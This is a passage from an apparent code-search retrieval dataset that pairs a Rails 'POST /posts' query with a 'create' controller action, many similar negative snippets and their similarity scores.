"def new\n @posts = Post.find(:all, :order => 'updated_at DESC')\n @post = Post.new\n @post.title = \"Überschrift*\"\n\n respond_to do |format|\n format.html { render :template => \"posts/new\" }\n format.xml { render :xml => @post }\n end\n end",
"def new\n @post = Post.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end",
"def new\n @posttag = Posttag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @posttag }\n end\n end",
"def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end",
"def new\n @post = Post.new\n @tags = Tag.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def new\n @api_v2_post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_v2_post }\n end\n end",
"def new\n @post = Post.new()\n end",
"def new\n @post = Post.new()\n end",
"def new\n @post = Post.new()\n end",
"def new\n @post = Post.new #returns an empty post\n end",
"def new\n @post = current_user.posts.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @post }\n end\n end",
"def new\n @post = Post.new\n respond_with(@post)\n end",
"def new\n @post = Post.new\n respond_with(@post)\n end",
"def new\n\t\t@post = Post.new\n\t\trender :new\n\tend",
"def new\n @test_post = TestPost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_post }\n end\n end",
"def new\n @blogpost = Blogpost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blogpost }\n end\n end",
"def new\n respond_to do |format|\n format.html { render :template => 'posts/new' } # we specify the template because in theory we could be reverting from a post to create \n format.js { render :partial => 'posts/reply' }\n end\n end",
"def new\n @posting = Posting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @posting }\n end\n end"
] | [
"0.8041974",
"0.80156785",
"0.79855186",
"0.7931169",
"0.79215",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.79208946",
"0.78988296",
"0.78666586",
"0.78468144",
"0.78327304",
"0.7832491",
"0.7822257",
"0.7780887",
"0.7681105",
"0.7630568",
"0.7627285",
"0.75908595",
"0.7578067",
"0.75370306",
"0.7530152",
"0.7473938",
"0.74487615",
"0.7443868",
"0.74131733",
"0.74131733",
"0.7405905",
"0.73812896",
"0.73479295",
"0.7308366",
"0.7286089",
"0.7285293",
"0.72837895",
"0.7271229",
"0.7254161",
"0.7231453",
"0.7225646",
"0.72144365",
"0.7204585",
"0.7194356",
"0.71823084",
"0.71823084",
"0.71823084",
"0.7174505",
"0.71544987",
"0.71502286",
"0.71502286",
"0.71278226",
"0.7113166",
"0.7111857",
"0.710849",
"0.7106992"
] | 0.0 | -1 |
POST /posts POST /posts.json | def create
@post = Post.new(params[:post])
@post.user = current_user
@post.score = 0
@post.upvoters = "[-1]"
@post.downvoters = "[-2]"
respond_to do |format|
if @post.save
format.html { redirect_to @post, notice: 'Post was successfully created.' }
else
format.html { render action: "new" }
end
end
if params[:promote]
curr_user = User.find(current_user.id)
tel_numbers = curr_user.destring_favs(curr_user)
tel_numbers.each do |id|
user = User.find(id)
TextMessage.new("#{curr_user.name} says #{params[:post][:content]}", user.phone_no.to_s).send
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n render json: Post.create(params[\"post\"])\n end",
"def create\n respond_with Post.create(params[:posts])\n end",
"def create\n @post = Post.create(post_params)\n render json: @post, serializer: PostSerializer\n end",
"def create\n @post = Post.new(post_params)\n @post.user = current_user\n\n if @post.save\n render json: @post, status: :created, location: api_v1_post_path(@post), serializer: Api::V1::PostSerializer\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n\n if @post.save\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def create\n post = @current_user.posts.create(post_params)\n\n if post.save\n render json: post\n else\n render json: { errors: post.errors.full_messages }, status: :forbidden\n end\n end",
"def create\n title = params[:title]\n body = params[:body]\n\n @post = current_user.posts.create(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def create\n @post = Post.new({ :title => params[:post][:title] })\n \n respond_to do |format|\n if @post.save\n format.json { render :json => { :post => @post.as_json}, :status => :created, :location => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.find(params[:user_id])\n @post = @user.posts.new(post_params)\n\n if @post.save\n render json: @post, status: :created, location: [@user, @post]\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render json: {\n message: 'Post was successfully created.'\n }, status: :created\n else\n render json: {\n errors: @post.errors,\n message: 'Post could not be created.'\n }, status: :unprocessable_entity\n end\n end",
"def post(id, opts = {})\r\n uri = url_for(\"posts/#{id}\", opts)\r\n response = RestClient.get(uri)\r\n JSON.parse response\r\n end",
"def create\n\n\n @post = current_user.posts.build(post_params)\n\n if @post.save\n\n render json: \"Posted successfully\", status: 201\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\tpost = @current_user.posts.create(post_params) \n\t\tif post.save\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id}\n\t else\n\t render json: {success: false, errors: post.errors.full_messages, message: \"Validation failed\"}, status: 422\n\t\tend \n\tend",
"def create\n @post = Post.new(params[:post])\n respond_to do |format|\n if @post.save\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.create(params[:post])\n end",
"def create_posts\n end",
"def create_posts\n end",
"def create_post\n begin\n #asks the user for the title, body, and whether it should be anonymous\n print \"Title: \"\n title = STDIN.gets.chomp\n print \"Body: \"\n body = STDIN.gets.chomp\n print \"Post as Anonymous? (y/n): \"\n anonymous = STDIN.gets.chomp.upcase == 'Y' ? true : false\n # check user information from login\n\n # Rails will reject this unless you configure the cross_forgery_request check to\n # a null_session in the receiving controller. This is because we are not sending\n # an authenticity token. Rails by default will only send the token with forms /users/new and\n # /users/1/edit and REST clients don't get those.\n # We could perhaps arrange to send this on a previous\n # request but we would then have to have an initial call (a kind of login perhaps).\n # This will automatically send as a multi-part request because we are adding a\n # File object.\n response = RestClient.post \"#{@@DOMAIN}/api/posts.json\",\n\n {\n post: {\n title: title,\n body: body,\n anonymous: anonymous\n },\n }, authorization_hash\n\n if (response.code == 201)\n puts \"Created successfully\"\n end\n puts \"URL for new resource: #{response.headers[:location]}\"\n rescue => e\n puts STDERR, \"Error accessing REST service. Error: #{e}\"\n end\n end",
"def create\n @api_post = Api::Post.new(api_post_params)\n\n if @api_post.save\n render json: @api_post, status: :created, location: @api_post\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render :show, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \tif logged_in?\n params[:post][:user_id] = current_user.id\n @post = Post.new(post_params)\n if @post.save\n puts @post.published\n render json: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n respond_with Post.create(post_params)\n end",
"def posts(opts)\n response = get(\"posts\", opts)\n response\n end",
"def post(*args)\n request(:post, *args)\n end",
"def post(*args)\n request :post, *args\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_post = current_user.posts.new(api_post_params)\n if @api_post.save\n render :show\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def create\n authenticated\n\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new post_params\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n if @post.save\n render :show, status: :created, location: @post\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n puts \"create post: #{post_params.inspect}\"\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @title = \"Create New Post\"\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def create\n post_service = PostService.new(current_user, params)\n post_service.create_post\n #post_service.create\n respond_to do |format|\n if post_service.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { redirect_to new_post_url, alert: post_service.errors }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.json { render json: @post, status: :created, location: @post }\n format.xml { render xml: @post, status: :created, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #raise params.inspect\n \n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @posts = Post.page(params[:page]).order('created_at desc')\n @post = Post.new(post_params)\n @user = User.where('account_id == ?', current_account.id)[0]\n respond_to do |format|\n if @post.save\n format.html { redirect_to '/posts' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :index }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\t\t\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_post_param\n respond_to do |format|\n if @post.save\n format.html do\n redirect_to @post, notice:\n \"Post was successfully created.\"\n end\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json do\n render json: @post.errors, status:\n :unprocessable_entity\n end\n end\n end\n end",
"def create\n @api_v1_post = Api::V1::Post.new(api_v1_post_params)\n\n respond_to do |format|\n if @api_v1_post.save\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_post }\n else\n format.html { render :new }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(params[:post])\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user_id = current_user.id\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path, flash: { error: @post.errors.full_messages } }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def create\n @user = current_user\n @post = @user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n post = Post.new\n render json: post\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save?\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @post = Post.new(params[:post])\r\n\r\n respond_to do |format|\r\n if @post.save\r\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\r\n format.json { render json: @post, status: :created, location: @post }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @post = Post.create(post_params)\n set_posts\n respond_to do |format|\n format.js\n format.html\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, :notice => \"slam\" }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path }\n flash[:alert] = \"shit.\"\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n post\n end",
"def create\n @post = Post.new(content: params[:post][:content], user_id: @user.id)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @user }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to @user }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @post = Post.new(post_params)\n @post.user_id = params[:user_id]\n if @post.save\n render json: @post, meta: { status: :created }, meta_key: 'result', status: :created\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params.merge(writter: current_user.name))\n\n if @post.save\n render json: {status: 1, id: @post.id.to_s, notice: \"新增成功,标题是:#{@post.title.capitalize}\", number: @post.number, errors: []}\n else\n render json: {status: -1, notice: \"新增失败,请先登录\", errors: @post.errors.full_messages}\n end\n end",
"def create\n puts \"Trying to Create New Post\"\n # Creates new post with given content tied to given userid\n @post = Post.new(post_params) \n if @post.save\n puts \"Post successfully created\"\n response.status=(201)\n render json: {status: \"Success\", message: [\"Post created!\"]}\n else\n # Error handling\n puts \"Something went wrong while creating new Post\"\n puts(@Post.errors.full_messages)\n response.status=(422)\n render json: { status: \"Error\", message: [@post.errors.full_messages]}\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to list_of_posts_post_path(@post.user), notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n execute(:post, *args)\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to posts_path and return unless Mist.authorized?(:create_post, self)\n coerce_date(params[:post], 'published_at')\n @post = Mist::Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to new_post_successful_posts_path, notice: 'Anúncio criado com sucesso.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user = User.find_by_auth_token!(cookies[:auth_token])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to login_path unless session[:user_id]\n message = 'Post was successfully created.'\n @post = Post.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: message }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.74453115",
"0.73224664",
"0.73065",
"0.7123661",
"0.7014955",
"0.7012768",
"0.69840264",
"0.6938563",
"0.69309723",
"0.6905106",
"0.68197066",
"0.68119097",
"0.67928475",
"0.6792773",
"0.67785394",
"0.67785394",
"0.6762736",
"0.6759516",
"0.67510056",
"0.67350024",
"0.66986823",
"0.6694242",
"0.6679357",
"0.66507727",
"0.661762",
"0.6607913",
"0.6576586",
"0.6566928",
"0.6534542",
"0.65245205",
"0.6516953",
"0.65119916",
"0.65119916",
"0.6498843",
"0.648704",
"0.648219",
"0.647903",
"0.6478571",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.6451724",
"0.6443117",
"0.6440887",
"0.6438761",
"0.64304584",
"0.6413615",
"0.6401683",
"0.6401094",
"0.63966864",
"0.63951707",
"0.6387734",
